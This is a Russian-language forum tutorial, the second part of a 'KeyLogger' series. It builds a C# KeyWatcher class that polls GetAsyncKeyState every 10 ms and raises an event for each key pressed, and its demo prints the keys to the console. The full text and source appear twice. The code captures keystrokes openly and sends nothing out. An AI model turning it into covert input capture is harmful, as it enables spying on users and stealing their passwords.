HideFebruary
03.03.2016, 23:25
Прошлая статья: KeyLogger [0] ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
Продолжаем тему написания кейлоггера. Немного обдумав концепцию, я пришел к некоторому решению которое опишу далее по тексту.
Итак, мой дорогой читатель, мы научились узнавать нажата ли клавиша, но в таком виде использовать логгер, лично мне, очень неудобно. Вот не хочу я каждый раз проверять нажата ли клавиша которая мне нужна, я ленивый. Хочу что бы когда ее нажали, я первый об этом узнал и уже, если нужно, что-то предпринял.
Надеюсь ты читал про события ([Ссылки могут видеть только зарегистрированные и активированные пользователи]) в c#, иначе далее придется туго! Хотя всегда можно скопировать исходник в конце статьи и даже не париться. В любом случае советую изучить, не раз пригодится.
Сейчас мы будем переделывать наш прошлый класс, который сам будет проверять нажаты ли нужные нам кнопки и уведомлять нас в случае нажатия, а далее уже по нашему усмотрению. Для этого необходимо иметь в классе список клавиш на проверку, далее, за очень короткий промежуток времени проверять каждую из них. Создадим класс с именем KeyWatcher и добавим метод WinApi с константой из прошлой статьи и методом IsPressing. Далее объявим в классе две новые переменные, это массив Keys и Timer из пространства имен System.Timers, главное не перепутать, таймеров там много!
private readonly Keys[] _chekingKeys;
private readonly System.Timers.Timer _timer;
Также, нам нужен метод, который подпишется на событие таймера и будет проверять по нему какие кнопки нажаты и сам генерировать событие! Я назвал этот метод OnTimer, но к реализации вернемся позже. В конструкторе класса предлагаю инициализировать переменные:
public KeyWatcher ( IEnumerable<Keys> keys )
{
_chekingKeys = keys.ToArray ();
const double interval = 10;
_timer = new System.Timers.Timer ( interval );
_timer.Elapsed += OnTimer;
}
В аргумент конструктора требуем список клавиш о нажатии которых нужно уведомлять.
Класс сконструирован. Теперь остается сделать реализацию метода OnTimer и добавить в наш класс событие на которое можно подписаться, при чем событие должно быть с параметром, что бы явно знать какая из клавиш нам пришла. Когда я первый раз делал набросок класса, запускал таймер сразу в конструкторе с очень коротким интервалом, это не правильно подумал я, потому что не факт что сразу после запуска кто-то подпишется, а таймер будет тратить процессорное время впустую и я выпилил эту идею и придумал новую. Мы будем запускать таймер только в том случае, если кто-то подписался на событие и отключать его сразу после того как все отписались, очень хорошее решение на мой взгляд. Правда это немного усложняет код, но это ничего, какой читер боится сложностей? :)
Для реализации умного таймера, нам нужно добавить приватное событие в классе и инкапсулировать логику подписки с помощью свойства. Кстати, в .net есть замечательный класс KeyEventArgs ([Ссылки могут видеть только зарегистрированные и активированные пользователи] px) который мы будем использовать как параметр в событиях.
public event EventHandler<KeyEventArgs> Pressed
{
add
{
_pressed += value;
if( !_timer.Enabled ) _timer.Start();
}
remove
{
_pressed -= value;
if( _pressed == null ) _timer.Stop();
}
}
private event EventHandler<KeyEventArgs> _pressed;
Вот такая несложная система у нас будет. Теперь нужно определить наш метод OnTimer и добавить еще один метод для удобства, который будет генерировать событие - OnPressed:
private void OnTimer ( Object sender, System.Timers.ElapsedEventArgs e )
{
foreach( var key in _chekingKeys )
{
if ( IsPressing ( key ) ) OnPressed ( key );
}
}
private void OnPressed( Keys key )
{
var buffer = _pressed;
buffer?.Invoke ( this, new KeyEventArgs ( key ) );
}
А также добавим метод который очистит ресурсы таймера и заодно отпишет нас от его события:
public void Close ()
{
_timer.Close ();
_timer.Elapsed -= OnTimer;
}
В целом наш класс готов для использования. Проверим как он работает, добавив такой код в мейне:
var keys = Enum.GetValues(typeof(Keys)).Cast<Keys>();
var keyWatcher = new KeyWatcher(keys);
keyWatcher.Pressed += KeyWatcherPressed;
WriteLine ( $"{nameof ( KeyWatcher )} запущен, нажмите любую клавишу что бы остановить программу" );
ReadLine ();
keyWatcher.Pressed -= KeyWatcherPressed;
keyWatcher.Close ();
И реализация метода который подписался на событие:
private static void KeyWatcherPressed( Object sender, KeyEventArgs e )
{
WriteLine ( $"{e.KeyData.ToString ()} is pressed" );
}
На этом всё. Исходники из данной статьи под спойлером.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using static System.Console;
namespace ConsoleApp
{
class Program
{
static void Main ( string [ ] args )
{
var keys = Enum.GetValues(typeof(Keys)).Cast<Keys>();
var keyWatcher = new KeyWatcher(keys);
keyWatcher.Pressed += KeyWatcherPressed;
WriteLine ( $"{nameof ( KeyWatcher )} запущен, нажмите любую клавишу что бы остановить программу" );
ReadLine ();
keyWatcher.Pressed -= KeyWatcherPressed;
keyWatcher.Close ();
}
private static void KeyWatcherPressed ( Object sender, KeyEventArgs e )
{
WriteLine ( $"{e.KeyData.ToString ()} is pressed" );
}
}
public sealed class KeyWatcher
{
public event EventHandler<KeyEventArgs> Pressed
{
add
{
_pressed += value;
if( !_timer.Enabled ) _timer.Start();
}
remove
{
_pressed -= value;
if( _pressed == null ) _timer.Stop();
}
}
public KeyWatcher ( IEnumerable<Keys> keys )
{
_chekingKeys = keys.ToArray ();
const double interval = 10;
_timer = new System.Timers.Timer ( interval );
_timer.Elapsed += OnTimer;
}
public void Close ()
{
_timer.Close ();
_timer.Elapsed -= OnTimer;
}
private void OnTimer ( Object sender, System.Timers.ElapsedEventArgs e )
{
foreach( var key in _chekingKeys )
{
if ( IsPressing ( key ) ) OnPressed ( key );
}
}
private void OnPressed( Keys key )
{
var buffer = _pressed;
buffer?.Invoke ( this, new KeyEventArgs ( key ) );
}
private bool IsPressing ( Keys key )
=> GetAsyncKeyState ( key ) == PRESSING;
private const int PRESSING = -32767;
private readonly Keys[] _chekingKeys;
private readonly System.Timers.Timer _timer;
private event EventHandler<KeyEventArgs> _pressed;
[DllImport ( "User32.dll" )]
private static extern short GetAsyncKeyState ( Keys key );
}
}
Следующая статья: KeyLogger [2] ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
Продолжаем тему написания кейлоггера. Немного обдумав концепцию, я пришел к некоторому решению которое опишу далее по тексту.
Итак, мой дорогой читатель, мы научились узнавать нажата ли клавиша, но в таком виде использовать логгер, лично мне, очень неудобно. Вот не хочу я каждый раз проверять нажата ли клавиша которая мне нужна, я ленивый. Хочу что бы когда ее нажали, я первый об этом узнал и уже, если нужно, что-то предпринял.
Надеюсь ты читал про события ([Ссылки могут видеть только зарегистрированные и активированные пользователи]) в c#, иначе далее придется туго! Хотя всегда можно скопировать исходник в конце статьи и даже не париться. В любом случае советую изучить, не раз пригодится.
Сейчас мы будем переделывать наш прошлый класс, который сам будет проверять нажаты ли нужные нам кнопки и уведомлять нас в случае нажатия, а далее уже по нашему усмотрению. Для этого необходимо иметь в классе список клавиш на проверку, далее, за очень короткий промежуток времени проверять каждую из них. Создадим класс с именем KeyWatcher и добавим метод WinApi с константой из прошлой статьи и методом IsPressing. Далее объявим в классе две новые переменные, это массив Keys и Timer из пространства имен System.Timers, главное не перепутать, таймеров там много!
private readonly Keys[] _chekingKeys;
private readonly System.Timers.Timer _timer;
Также, нам нужен метод, который подпишется на событие таймера и будет проверять по нему какие кнопки нажаты и сам генерировать событие! Я назвал этот метод OnTimer, но к реализации вернемся позже. В конструкторе класса предлагаю инициализировать переменные:
public KeyWatcher ( IEnumerable<Keys> keys )
{
_chekingKeys = keys.ToArray ();
const double interval = 10;
_timer = new System.Timers.Timer ( interval );
_timer.Elapsed += OnTimer;
}
В аргумент конструктора требуем список клавиш о нажатии которых нужно уведомлять.
Класс сконструирован. Теперь остается сделать реализацию метода OnTimer и добавить в наш класс событие на которое можно подписаться, при чем событие должно быть с параметром, что бы явно знать какая из клавиш нам пришла. Когда я первый раз делал набросок класса, запускал таймер сразу в конструкторе с очень коротким интервалом, это не правильно подумал я, потому что не факт что сразу после запуска кто-то подпишется, а таймер будет тратить процессорное время впустую и я выпилил эту идею и придумал новую. Мы будем запускать таймер только в том случае, если кто-то подписался на событие и отключать его сразу после того как все отписались, очень хорошее решение на мой взгляд. Правда это немного усложняет код, но это ничего, какой читер боится сложностей? :)
Для реализации умного таймера, нам нужно добавить приватное событие в классе и инкапсулировать логику подписки с помощью свойства. Кстати, в .net есть замечательный класс KeyEventArgs ([Ссылки могут видеть только зарегистрированные и активированные пользователи] px) который мы будем использовать как параметр в событиях.
public event EventHandler<KeyEventArgs> Pressed
{
add
{
_pressed += value;
if( !_timer.Enabled ) _timer.Start();
}
remove
{
_pressed -= value;
if( _pressed == null ) _timer.Stop();
}
}
private event EventHandler<KeyEventArgs> _pressed;
Вот такая несложная система у нас будет. Теперь нужно определить наш метод OnTimer и добавить еще один метод для удобства, который будет генерировать событие - OnPressed:
private void OnTimer ( Object sender, System.Timers.ElapsedEventArgs e )
{
foreach( var key in _chekingKeys )
{
if ( IsPressing ( key ) ) OnPressed ( key );
}
}
private void OnPressed( Keys key )
{
var buffer = _pressed;
buffer?.Invoke ( this, new KeyEventArgs ( key ) );
}
А также добавим метод который очистит ресурсы таймера и заодно отпишет нас от его события:
public void Close ()
{
_timer.Close ();
_timer.Elapsed -= OnTimer;
}
В целом наш класс готов для использования. Проверим как он работает, добавив такой код в мейне:
var keys = Enum.GetValues(typeof(Keys)).Cast<Keys>();
var keyWatcher = new KeyWatcher(keys);
keyWatcher.Pressed += KeyWatcherPressed;
WriteLine ( $"{nameof ( KeyWatcher )} запущен, нажмите любую клавишу что бы остановить программу" );
ReadLine ();
keyWatcher.Pressed -= KeyWatcherPressed;
keyWatcher.Close ();
И реализация метода который подписался на событие:
private static void KeyWatcherPressed( Object sender, KeyEventArgs e )
{
WriteLine ( $"{e.KeyData.ToString ()} is pressed" );
}
На этом всё. Исходники из данной статьи под спойлером.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using static System.Console;
namespace ConsoleApp
{
class Program
{
static void Main ( string [ ] args )
{
var keys = Enum.GetValues(typeof(Keys)).Cast<Keys>();
var keyWatcher = new KeyWatcher(keys);
keyWatcher.Pressed += KeyWatcherPressed;
WriteLine ( $"{nameof ( KeyWatcher )} запущен, нажмите любую клавишу что бы остановить программу" );
ReadLine ();
keyWatcher.Pressed -= KeyWatcherPressed;
keyWatcher.Close ();
}
private static void KeyWatcherPressed ( Object sender, KeyEventArgs e )
{
WriteLine ( $"{e.KeyData.ToString ()} is pressed" );
}
}
public sealed class KeyWatcher
{
public event EventHandler<KeyEventArgs> Pressed
{
add
{
_pressed += value;
if( !_timer.Enabled ) _timer.Start();
}
remove
{
_pressed -= value;
if( _pressed == null ) _timer.Stop();
}
}
public KeyWatcher ( IEnumerable<Keys> keys )
{
_chekingKeys = keys.ToArray ();
const double interval = 10;
_timer = new System.Timers.Timer ( interval );
_timer.Elapsed += OnTimer;
}
public void Close ()
{
_timer.Close ();
_timer.Elapsed -= OnTimer;
}
private void OnTimer ( Object sender, System.Timers.ElapsedEventArgs e )
{
foreach( var key in _chekingKeys )
{
if ( IsPressing ( key ) ) OnPressed ( key );
}
}
private void OnPressed( Keys key )
{
var buffer = _pressed;
buffer?.Invoke ( this, new KeyEventArgs ( key ) );
}
private bool IsPressing ( Keys key )
=> GetAsyncKeyState ( key ) == PRESSING;
private const int PRESSING = -32767;
private readonly Keys[] _chekingKeys;
private readonly System.Timers.Timer _timer;
private event EventHandler<KeyEventArgs> _pressed;
[DllImport ( "User32.dll" )]
private static extern short GetAsyncKeyState ( Keys key );
}
}
Следующая статья: KeyLogger [2] ([Ссылки могут видеть только зарегистрированные и активированные пользователи])